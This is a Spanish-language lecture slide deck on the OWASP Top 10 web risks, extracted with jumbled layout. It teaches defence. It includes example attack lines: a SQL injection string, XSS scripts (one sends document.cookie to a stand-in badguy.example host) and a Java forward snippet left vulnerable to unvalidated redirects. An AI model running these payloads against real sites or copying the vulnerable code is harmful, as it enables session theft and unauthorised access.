Upload
voliem
View
212
Download
0
Embed Size (px)
Citation preview
Desarrollo de Aplicaciones Distribuidas Dr. Roberto Gómez C
OWASP 1
Open Web Application Security Project (OWASP)
Roberto Gómez@it
Lámina 1 Dr. Roberto Gómez C.
[email protected]://homepage.cem.itesm.mx/ac/rogomez
¿Que es un ataque?
• Acción o acciones que tienen por objetivo el que cualquier parte de un sistema deque cualquier parte de un sistema de información automatizado, deje de funcionar de acuerdo con su propósito definido.
• Esto incluye cualquier acción que causa la destrucción, modificación o retraso del servicio no autorizado
Lámina 2 Dr. Roberto Gómez C.
servicio no autorizado.
Desarrollo de Aplicaciones Distribuidas Dr. Roberto Gómez C
OWASP 2
Aclaración ataque
• No es un ataque físico (aunque puede ser).U li l• Un ataque no se realiza en un solo paso.
• Depende de los objetivos del atacante.• Puede consistir de varios pasos antes de
llegar a su objetivo.
Lámina 3 Dr. Roberto Gómez C.
Mecanismos de seguridad
• Firewalls• Firewalls• IDS (Sistemas de Detección de Intrusos)• Filtrado de información
Lámina 4 Dr. Roberto Gómez C.
Desarrollo de Aplicaciones Distribuidas Dr. Roberto Gómez C
OWASP 3
Sin embargo
• Empresas necesitan dar servicios al exterior.E i i bi• Existe un puerto que siempre esta abierto
80
Lámina 5 Dr. Roberto Gómez C.
53
OWASP
• “Open Web Application Security Project”Gr po de ol ntarios• Grupo de voluntarios
• Produce documentación, herramientas y estándares gratuitos
• Calidad profesional y de código abierto• Página
Lámina 6 Dr. Roberto Gómez C.
• Página – http://www.owasp.org
Desarrollo de Aplicaciones Distribuidas Dr. Roberto Gómez C
OWASP 4
¿Qué es Seguridad de Aplicaciones Web?
• No es seguridad en redes– Asegurar el “código regularmente usado” en una– Asegurar el código regularmente usado en una
aplicación web,– Asegurar librerías.– Asegurar sistemas de backend.– Asegurar aplicaciones y servidores web.
• Seguridad en redes ignora el contenido del tráfico
Lámina 7 Dr. Roberto Gómez C.
g gHTTP.– Firewalls, SSL, Intrusion Detection Systems, Operating
System Hardening, Database Hardening
Seguridad en red vs seguridad en web
ses
stem
s
vice
s
ries esrc
s
gC D l dn L
ayer
Your security “perimeter” has huge holes at the application layer
H d d OS
Web Server
App Server
Dat
abas
Leg
acy
Sys
Web
Ser
v
Dir
ecto
r
Hum
an R
e
Bill
ingCustom Developed Application Code
APPLICATIONATTACK
yer
App
licat
ion
Lámina 8 Dr. Roberto Gómez C.
Firewall
Hardened OS
Firewall
You can’t use network layer protection (firewall, SSL, IDS, hardening)to stop or detect application layer attacks
Net
wor
k L
ay
Desarrollo de Aplicaciones Distribuidas Dr. Roberto Gómez C
OWASP 5
OWASP Top Ten
• Las 10 vulnerabilidades principales que están usando los atacantes contra páginas Webusando los atacantes contra páginas Web
• Similar al Top 20 de SANS / FBI pero para aplicaciones Web
• Un buen estándar mínimo para exigir a las áreas de desarrollo
Lámina 9 Dr. Roberto Gómez C.
áreas de desarrollo• La mayoría de los problemas anteriores caen
en alguna de estas categorías generales
Las dos primeras versiones
1. Unvalidated Input 1. Cross Site Scripting (XSS)2 I j ti Fl
2004 2007
2. Broken Access Control3. Broken Authentication and
Session Management4. Cross Site Scripting5. Buffer Overflow6. Injection Flaws 7 Improper Error Handling
2. Injection Flaws 3. Malicious File Execution4. Insecure Direct Object
Reference5. Cross Site Request Forgery
(CSRF)6. Information Leakage and
Lámina 10 Dr. Roberto Gómez C.
7. Improper Error Handling 8. Insecure Storage 9. Application Denial of Service10. Insecure Configuration
Management
Improper Error Handling7. Broken Authentication and
Session Management8. Insecure Cryptographic Storage9. Insecure Communications10. Failure to Restrict URL Access
Desarrollo de Aplicaciones Distribuidas Dr. Roberto Gómez C
OWASP 6
La versión 2010
• A1: Injection • A2: Cross Site Scripting (XSS)• A2: Cross-Site Scripting (XSS) • A3: Broken Authentication and Session Management • A4: Insecure Direct Object References • A5: Cross-Site Request Forgery (CSRF) • A6: Security Misconfiguration• A7: Insecure Cryptographic Storage
Lámina 11 Dr. Roberto Gómez C.
A7: Insecure Cryptographic Storage • A8: Failure to Restrict URL Access • A9: Insufficient Transport Layer Protection • A10: Unvalidated Redirects and Forwards
¿Qué cambio?
• Se trata de riesgos, no solo vulnerabilidades– Nuevo título: “The Top 10 Most Critical Web Application Security
Risks”Risks
• Metodología– Basada en OWASP Risk Rating Methodology.
• Dos riesgos añadidos, dos eliminados– Se añadio A6-Mala Configuración Seguridad
• Era A10 en el 2004: : Insecure Configuration ManagementS ñ di A10 Di i i t i álid
Lámina 12 Dr. Roberto Gómez C.
– Se añadio A10: Direccionamientos inválidos• Relativamente comun y muy peligrosa falla que no es muy conocida.
– Se eliminó A3- Malicious File Execution• Más que nada una falla en PHP que esta en decadencia
– Se eliminó A6 - Information Leakage and Improper Error Handling• Una falla existente, pero que normalmente no representa mucho riesgo.
Desarrollo de Aplicaciones Distribuidas Dr. Roberto Gómez C
OWASP 7
Mapeo 2007 a 2010
OWASP Top 10 – 2007 (Previous) OWASP Top 10 – 2010 (New)
A2 – Injection Flaws A1 – Injection
A1 – Cross Site Scripting (XSS) A2 – Cross Site Scripting (XSS)
A7 – Broken Authentication and Session Management A3 – Broken Authentication and Session Management
A4 – Insecure Direct Object Reference A4 – Insecure Direct Object References
A5 – Cross Site Request Forgery (CSRF) A5 – Cross Site Request Forgery (CSRF)
<was T10 2004 A10 – Insecure Configuration Management> A6 – Security Misconfiguration (NEW)
A8 – Insecure Cryptographic Storage A7 – Insecure Cryptographic Storage
+
=
=
Lámina 13 Dr. Roberto Gómez C.
A10 – Failure to Restrict URL Access A8 – Failure to Restrict URL Access
A9 – Insecure Communications A9 – Insufficient Transport Layer Protection
<not in T10 2007> A10 – Unvalidated Redirects and Forwards (NEW)
A3 – Malicious File Execution <dropped from T10 2010>
A6 – Information Leakage and Improper Error Handling <dropped from T10 2010>
+
--
=
Metodología OWASP Top 10
ThreatAgent
AttackVector
Weakness Prevalence
Weakness Detectability Technical Impact Business
Impact
E Wid d E S1
Lámina 14 Dr. Roberto Gómez C.
?Easy Widespread Easy Severe
?Average Common Average Moderate
Difficult Uncommon Difficult Minor
1 2 2 1
1.66 * 1
1.66 weighted risk rating
Injection Example
123
Desarrollo de Aplicaciones Distribuidas Dr. Roberto Gómez C
OWASP 8
OWASP Top Ten (Edición 2010)
Lámina 15 Dr. Roberto Gómez C.
http://www.owasp.org/index.php/Top_10
1. Inyección
• Inyección implica– Engañar a una aplicación incluyendo comandos en los datos
i d ienviados a un interprete.• Interpretes
– Toman los strings y los interpretan como comandos.– SQL, Shell SO, LDAP, Xpath, Hibernate, etc.
• Inyección SQL aún es muy común.– Muchas aplicaciones aún son susceptibles (no se sabe por qué).– Aun cuando es usualmente simple de evitar.
Lámina 16 Dr. Roberto Gómez C.
Aun cuando es usualmente simple de evitar.• Impacto
– Usualmente severo. La base de datos entera puede ser leída o modificada.
– Posible contar con el esquema total de la base de datos, o contar con acceso a cuentas o a nivel S.O.
Desarrollo de Aplicaciones Distribuidas Dr. Roberto Gómez C
OWASP 9
Ejemplo Inyección SQL
s tem
sce
ses sr
cs
ayer
ts e atio
non
sat
ion
Mgm
trc
eio
ns
"SELECT * FROM accounts WHERE acct=‘’ OR 1=1--
Account Summary
Acct 5424 6066 2134 4334
Account:
SKU:
Account:
SKU:
App Server
Dat
abas
eLe
gacy
Sys
tW
eb S
ervi
cD
irect
orie
Hum
an R
esB
illin
g
Custom Code
APPLICATIONATTACKA
pplic
atio
n La
Acc
ount
Fina
nce
Adm
inis
traTr
ansa
ctio
Com
mun
ica
Kno
wle
dge
ME-
Com
mer
Bus
. Fun
cti
HTTP request
SQL query
DB Table HTTP response
acct= OR 1=1--’"
1. Application presents a form to the attacker2. Attacker sends an attack in the form data3. Application forwards attack to
Acct:5424-6066-2134-4334Acct:4128-7574-3921-0192Acct:5424-9383-2039-4029Acct:4128-0004-1234-0293
SKU:
Lámina 17 Dr. Roberto Gómez C.
Fire
wal
l
Hardened OS
Web ServerFi
rew
all
Net
wor
k La
yer
the database in a SQL query
4. Database runs query containing attack and sends encrypted results back to application
5. Application decrypts data as normal and sends results to the user
2. Cross-Site Scripting (XSS)
• Ocurre en cualquier tiempo– Datos “en bruto” es enviado por el atacante al browser de un p
usuario.
• Datos en bruto– Almacenado en la base de datos– Reflejado de la entrada web– Enviado directamente a los scripts del cliente.
• Virtualmente cada aplicación web tiene este problema
Lámina 18 Dr. Roberto Gómez C.
p p– Intentar en el browser: javascript:alert(documento.cookie).
• Impacto típico– Robar la sesión del usuario, robo de datos sensibles, rescribir la
página web, redirigir usuario a un sitio de phishing o malware.
Desarrollo de Aplicaciones Distribuidas Dr. Roberto Gómez C
OWASP 10
Ataque XSS
• El problema reside en la administración de archivos adjuntos de tipo html o htmadjuntos de tipo .html o .htm
• Manejar la salida de una aplicación web es lo mismo que pasar datos a los subsistemas– el subsistema final al que se le pasa datos es el browser del
visitante y el parser HTML en el browser solo es otro sistema– cuando se envían datos a él se debe poner atención a los
metacaracteres
Lámina 19 Dr. Roberto Gómez C.
metacaracteres• Problema notificado por CERT en el 2000
– http://www.cert.org/advisories/CA-2000-02.html– http://www.cert.org/tech-tips/malicious_code_mitigation.html
Empecemos por lo sencillo
• Aplicación web: guest book– permite visitantes introducir lo que dessen y solo añaden el
nuevo texto a lo que estaba antes
• Usuario malicioso introduce lo siguiente:
• Nada pasa al principio, pero se mezcla con lo que se escribió y lo que se escribirá,
<!--
Lámina 20 Dr. Roberto Gómez C.
y q ,– aplicación web pasará lo siguiente a lectores libro de visitas:
:Cool web page, dude!<!--You’re da man, boss
:
Desarrollo de Aplicaciones Distribuidas Dr. Roberto Gómez C
OWASP 11
Otros dos ejemplos
• Posible introducir:s ipt>
• Otro ejemplo– un sitio de discusión para niños
<script>for (q=0; q < 1000; q++)
window.open(http://www.hotsex.example);</script>
Lámina 21 Dr. Roberto Gómez C.
– el sitio carece de filtrado hacia afuera, y alguien introduce lo siguiente:
<imag src = http://www.tasteless.example/hardcoresex.jpg/>
Ejemplo XSS
Application with
Attacker sets the trap – update my profile1
stored XSS vulnerability
2
Attacker enters a malicious script into a web page that stores the data on the server
Victim views page – sees attacker profile
Custom Code
Acc
ount
sFi
nanc
eA
dmin
istra
tion
Tran
sact
ions
Com
mun
icat
ion
Kno
wle
dge
Mgm
tE-
Com
mer
ceB
us. F
unct
ions
Lámina 22 Dr. Roberto Gómez C.
3 Script silently sends attacker Victim’s session cookie
Script runs inside victim’s browser with full access to the DOM and cookies
Custom Code
Desarrollo de Aplicaciones Distribuidas Dr. Roberto Gómez C
OWASP 12
Algo de código
• JavaScript proporciona cookie al web server del atacante
• Enviando el browser al sitio original
<script>document.location.replace(
“http://www.badguy.example/steal.php”+ = “?what=“ + document.cookie)
</script>
<script>
Lámina 23 Dr. Roberto Gómez C.
pif (document.cookie.indexOf(“stolen”) < 0 {
document.cookie = “stolen=true”;document.location.replace(
“http://www.badguy.example/steal.php”+ = “?what=“ + document.cookie+ = “&whatnext=http://www.somesite.example/”)
} </script>
Otros ataques XSS
• Modificación texto– posible cambiar información mientras la página es– posible cambiar información mientras la página es
desplegada• XSS con ingeniería social
– script malicioso no es almacenado en el servidor– atacante engaña a la víctima, para que este se dirija a un
URL con el scripto malicioso
Lámina 24 Dr. Roberto Gómez C.
• Robo de passwords– algunos sitios vuelven a desplear el user-name si la
autenticación falla, considerando que el password fue mal tecleado
Desarrollo de Aplicaciones Distribuidas Dr. Roberto Gómez C
OWASP 13
Ejemplo de ingeniería social
Lámina 25 Dr. Roberto Gómez C.
Esquemas a evitar en ambientes HTML
HTML Element Content( di di l /di )
#1: ( &, <, >, " ) &entity; ( ', / ) &#xHH;ESAPI: encodeForHTML()
#2: All non alphanumeric < 256 &#xHH
HTML Style Property Values( di h { l d d i
JavaScript Data(e.g., <script> some javascript </script> )
HTML Attribute Values(e.g., <input name='person' type='TEXT'
value='defaultValue'> )
(e.g., <div> some text to display </div> )
#4: All non-alphanumeric < 256 \HHESAPI: encodeForCSS()
#3: All non-alphanumeric < 256 \xHHESAPI: encodeForJavaScript()
#2: All non-alphanumeric < 256 &#xHHESAPI: encodeForHTMLAttribute()
Lámina 26 Dr. Roberto Gómez C.
(e.g., .pdiv a:hover {color: red; text-decoration: underline} )
URI Attribute Values(e.g., <a href="javascript:toggle('lesson')" )
#5: All non-alphanumeric < 256 %HHESAPI: encodeForURL()
ALL other contexts CANNOT include Untrusted DataRecommendation: Only allow #1 and #2 and disallow all othersSee: www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet for more details
Desarrollo de Aplicaciones Distribuidas Dr. Roberto Gómez C
OWASP 14
3. Autenticación rota y manejo de sesiones
• HTTP es un protocolo “stateless”– Se deben presentar credenciales en cada peticiónp p– Debe usar SSL para cualquier tipo de autenticación.
• Manejo de las fallas en la sesión– SESSION ID usado para seguimiento del estado.– SESSION ID es visible en la red, en browsers, logs, etc.
• Cuidado con los side-doors– Cambiar contraseña, recordar contraseña, olvide mi contraseña,
Lámina 27 Dr. Roberto Gómez C.
Cambiar contraseña, recordar contraseña, olvide mi contraseña, pregunta secreta, dirección correo, etc.
• Impacto– Cuentas usuarios comprometidas o sesiones de usuarios
secuestradas.
Ejemplo
Acc
ount
sFi
nanc
em
inis
trat
ion
rans
actio
nsm
mun
icat
ion
Kno
wle
dge
Mgm
tC
omm
erce
s. Fu
nctio
ns
1 User sends credentials
www boi com?JSESSIONID=9FA1DB9EA
Custom Code
A
Adm Tr
Com K E
-B
us
2Site uses URL rewriting(i.e., put session in URL)
3 User clicks on a link to http://www hacker com
www.boi.com?JSESSIONID 9FA1DB9EA...
Lámina 28 Dr. Roberto Gómez C.
3 User clicks on a link to http://www.hacker.com in a forum
4Hacker checks referer logs on www.hacker.com
and finds user’s JSESSIONID
5 Hacker uses JSESSIONID and takes over victim’s account
Desarrollo de Aplicaciones Distribuidas Dr. Roberto Gómez C
OWASP 15
4. Dirección insegura de referencias de objetos
• ¿Cómo protege el acceso a sus datos?– Es parte de reforzar “Autorización”, junto con el número 8: p j
Restricción Acceso al URL
• Error común– Solo listar los objetos “autorizados” para el usuario correcto o,– Esconder los objetos referenciados en campos ocultaos.– …. Y entonces no aplicar estas restricciones en el lado del servidor.– Esto se conoce como control de acceso a nivel presentación y no
Lámina 29 Dr. Roberto Gómez C.
funciona.– Atacante simple y sencillamente “tampers” con el valor del
parámetro.
• Impacto– Atacante puede acceder a datos o archivos no autorizados.
Ejemplo
Attacker notices his acct parameter is 6065https://www.onlinebank.com/user?acct=6065 parameter is 6065?acct=6065
He modifies it to a nearby number?acct=6066
p
Lámina 30 Dr. Roberto Gómez C.
Attacker views the victim’s account information
Desarrollo de Aplicaciones Distribuidas Dr. Roberto Gómez C
OWASP 16
5. Cross Site Request Forgery(CSRF)
• CSRF– Un ataque donde el browser de la víctima es engañado usando un q g
comando hacia una aplicación web vulnerable.– Vulnerabilidad provocada por que los browsers automáticamente
incluyen datos de autenticación de los usuarios en cada petición.
• Imaginar– ¿Y si un usuario puede dirigir el ratón de un usurario y hacer click
en ligas que se encuentran en una aplicación bancaria.¿Q é d ñ d í ?
Lámina 31 Dr. Roberto Gómez C.
– ¿Qué daño podrían provocar?
• Impacto– Iniciar transacciones.– Acceso a datos sensibles– Cambiar datos cuentas.
Ejemplo
Attacker sets the trap on some website on the internet(or simply via an e-mail)1
2While logged into vulnerable site,
victim views attacker site Acc
ount
sFi
nanc
eA
dmin
istr
atio
nT
rans
actio
nsC
omm
unic
atio
nK
now
ledg
e M
gmt
E-C
omm
erce
Bus
. Fun
ctio
ns
Hidden <img> tag contains attack against vulnerable site
Application with CSRF vulnerability
Lámina 32 Dr. Roberto Gómez C.
3
victim views attacker site
Vulnerable site sees legitimate request from victim and performs the action requested
<img> tag loaded by browser – sends GET request (including credentials) to vulnerable site
Custom Code
Desarrollo de Aplicaciones Distribuidas Dr. Roberto Gómez C
OWASP 17
6. Mala configuración de seguridad
• Aplicaciones Web reposan sobre otro código.– Todo desde el S.O. hasta el servidor Web– No olvidar las librerías que se están usando.
• ¿Es el código usado un secreto?– Pensar en todos los lugares donde el código desarrollado se mueve.– Seguridad no requiere código fuente secreto.
• CM se debe extender a todas las partes de la aplicación– Todas las credenciales deben cambiar en producción.
Lámina 33 Dr. Roberto Gómez C.
Todas las credenciales deben cambiar en producción.
• Impacto– Instalar backdoor a través de parches no instalados del SO o
servidor.– Acceso no autorizado a cuentas por default.
Ejemplo
ount
san
ceis
trat
ion
actio
nsun
icat
ion
dge
Mgm
tm
mer
ceun
ctio
ns
App Server
Framework
App Configuration
Custom Code
Acc
oFi
naA
dmin
iT
rans
Com
mu
Kno
wle
dE
-Com
Bus
. Fu
Development
Database
Lámina 34 Dr. Roberto Gómez C.
Hardened OS
Web Server
App Server
Test Servers
QA Servers
Source Control
Insider
Desarrollo de Aplicaciones Distribuidas Dr. Roberto Gómez C
OWASP 18
7. Almacenamiento criptográfico inseguro
• Almacenando datos sensibles de forma insegura.– Falla para identificar datos sensbibles.p– Falla para identificar todos los lugares donde estos datos son
almacenados.– Falla de proteger los datos en cada lugar.
• Impacto.– Atacante accede o modifica información privada y/o confidencial.– Atacante extrae secretos para usar en ataques posteriores.
Lámina 35 Dr. Roberto Gómez C.
– Mala reputación empresa, insatisfacción de los clientes, y la pérdida de confianza
– Gastos en la limpieza del incidente, tales como forencia, envío de cartas de disculpa, reponer tarjetas de crédito, proporcionar seguro contra robo de identidad.
– El negocio es demandado o terminado.
Ejemplo
1Victim enters credit card number in form
Custom Code
Acc
ount
sFi
nanc
eA
dmin
istr
atio
nT
rans
actio
nsC
omm
unic
atio
nK
now
ledg
e M
gmt
E-C
omm
erce
Bus
. Fun
ctio
ns
1 card number in form
2Error handler logs CC4 Malicious insider
steals 4 million credit Log files
Lámina 36 Dr. Roberto Gómez C.
2Error handler logs CC details because merchant
gateway is unavailable
card numbers
3Logs are accessible to all members of IT staff for
debugging purposes
Desarrollo de Aplicaciones Distribuidas Dr. Roberto Gómez C
OWASP 19
8. Falla en restringir el acceso al URL
• ¿Cómo se protege el acceso al URL (páginas)?– Esto es parte de reforzar la autenticación (punto 4).p (p )
• Error común– Desplegar solo ligas autorizadas y opciones de menú.– Esto se conoce como control de acceso a nivel presentación y no
funciona.– Atacante forza acceso directo a paginas no autorizadas.
• Impacto
Lámina 37 Dr. Roberto Gómez C.
pacto– Atacante invoca funciones y servicios para los que no esta autorizado.– Acceso a otras cuentas de usuarios y datos.– Lleva a cabo acciones privilegiadas.
Ejemplo
Attacker notices the URL indicates his rolehttps://www.onlinebank.com/user/getAccountshttps://www.onlinebank.com/user/getAccounts
/user/getAccounts
He modifies it to another directory (role)/admin/getAccounts, or/ / tA t
https://www.onlinebank.com/user/getAccountshttps://www.onlinebank.com/user/getAccounts
Lámina 38 Dr. Roberto Gómez C.
/manager/getAccounts
Attacker views more accounts than just their own
Desarrollo de Aplicaciones Distribuidas Dr. Roberto Gómez C
OWASP 20
9. Insuficiente protección a nivel capa de transporte.
• Transmisión de datos de forma sensible.– Falla en identificar los datos sensibles.– Falla en identificar todos los lugares a los cuales los datos son
enviados.– Falla en proteger de forma apropiada estos datos en cada lugar.
• Impacto– Atacante accede o modifica información privilegiada o privada.
• Tarjetas de crédito, registros hospitalarias, datos financieros (de la i ió d li t )
Lámina 39 Dr. Roberto Gómez C.
organización o de sus clientes)– Atacante extrae secretos a usar en otros ataques.– Mala reputación empresa, insatisfacción de los clientes, y la pérdida
de confianza– Gastos en la limpieza del incidente.– El negocio es demandado o terminado
Ejemplo
Custom Code
Employees
Business PartnersExternal Victim
Backend Systems
Lámina 40 Dr. Roberto Gómez C.
p y
External Attacker
1External attacker steals credentials and data off network
2
Internal attacker steals credentials and data from internal network
Internal Attacker
Desarrollo de Aplicaciones Distribuidas Dr. Roberto Gómez C
OWASP 21
10. Redireccionamientosinválidos
• Redireccionamientos en una página web es algo común.– Frecuentemente se incluyen parámetros proporcionados por el usuario en el
URL destino.– Si no son validados, el atacante puede enviar a la víctima al sitio de su
preferencia.
• Forwards (aka Transfer en .NET) también son comunes.– Internamente envían la petición a una nueva página en la misma aplicación.– Algunas veces los parámetros define la página.
Si no son validados el atacante puede ser capaz de usar forwards no
Lámina 41 Dr. Roberto Gómez C.
– Si no son validados, el atacante puede ser capaz de usar forwards no validados para “bypasear” las verificaciones de autenticación y autorización.
• Impacto– Redireccionar a la víctima a sitios de phishing o malware.– Permite uso de funciones no autorizadas o acceso a datos.
Ejemplo Redirect
Attacker sends attack to victim via email or webpage
From: Internal Revenue ServiceS bj t Y U l i d T R f d
1
3
2
Subject: Your Unclaimed Tax RefundOur records show you have an unclaimed federal tax refund. Please click here to initiate your claim.
Application redirects victim to attacker’s site
C stom Code
Acc
ount
s
Fina
nce
Adm
inis
trat
ion
Tra
nsac
tions
Com
mun
icat
ion
Kno
wle
dge M
gmt
E-C
omm
erce
Bus
. Fun
ctio
ns
Victim clicks link containing unvalidatedparameter
Lámina 42 Dr. Roberto Gómez C.
Request sent to vulnerable site, including attacker’s destination site as parameter. Redirect sends victim to attacker site
Custom Code
4 Evil site installs malware on victim, or phish’s for private information
Evil Site
http://www.irs.gov/taxrefund/claim.jsp?year=2006& … &dest=www.evilsite.com
Desarrollo de Aplicaciones Distribuidas Dr. Roberto Gómez C
OWASP 22
Ejemplo Forward
Attacker sends attack to vulnerable page they have access to1
Request sent to
2 Application authorizes request, which continues to vulnerable page
Request sent to vulnerable page which user does have access to. Redirect sends user directly to private page, bypassing access control.
3 Forwarding page fails to validate Filter
public void sensitiveMethod( HttpServletRequest request, HttpServletResponse response) {
try {// Do sensitive stuff here....
}catch ( ...
Lámina 43 Dr. Roberto Gómez C.
to vulnerable page 3 g p gparameter, sending attacker to unauthorized page, bypassing access controlpublic void doPost( HttpServletRequest request,
HttpServletResponse response) {try {
String target = request.getParameter( "dest" ) );...request.getRequestDispatcher( target).forward(request, response);
}catch ( ...
¿Y que hacemos?
• Desarrollar código seguro– Seguir las mejores prácticas de la guía del OWASP: Guide to Building
Secure Web ApplicationsSecure Web Applications• http://www.owasp.org/index.php/Guide
– Usar el estándar de verificación de seguridad en aplicaciones del OWASP, como una guía para saber que necesita una aplicación para ser segura.
• http://www.owasp.org/index.php/ASVS
– Usar componentes de seguridad que se acoplen a la organización.• Utilizar OWASP’s ESAPI como la base de los componentes estándares.
htt // /i d h /ESAPI
Lámina 44 Dr. Roberto Gómez C.
• http://www.owasp.org/index.php/ESAPI
• Revisar sus aplicaciones– Que un equipo experto revise sus aplicaciones.– Revise sus aplicaciones internamente siguiendo las guías OWASP
• OWASP Code Review Guide: http://www.owasp.org/index.php/Code_Review_Guide • OWASP Testing Guide: http://www.owasp.org/index.php/Testing_Guide
Desarrollo de Aplicaciones Distribuidas Dr. Roberto Gómez C
OWASP 23
OWASP (ESAPI)
Lámina 45 Dr. Roberto Gómez C.
Referencia: http://www.owasp.org/index.php/ESAPI
Conclusiones
• No basta con una defensa perimetral• Es importante saber que esta “viendo” la gente deEs importante saber que esta viendo la gente de
afuera• Nuestros desarrolladores
– todo es para ayer– solo se preocupan porque funcione
• Un buen par de guías/referencias
Lámina 46 Dr. Roberto Gómez C.
– Writing Secure Code, Second Edition, Michael Howard, David LeBlanc
– Building Secure Software: How to Avoid Security Problems the Right Way -- by John Viega, Gary McGraw;
– OWASP “Open Web Application Security Project”
Desarrollo de Aplicaciones Distribuidas Dr. Roberto Gómez C
OWASP 24
Open Web Application Security Project (OWASP)
Roberto Gómez@it
Lámina 47 Dr. Roberto Gómez C.
[email protected]://homepage.cem.itesm.mx/ac/rogomez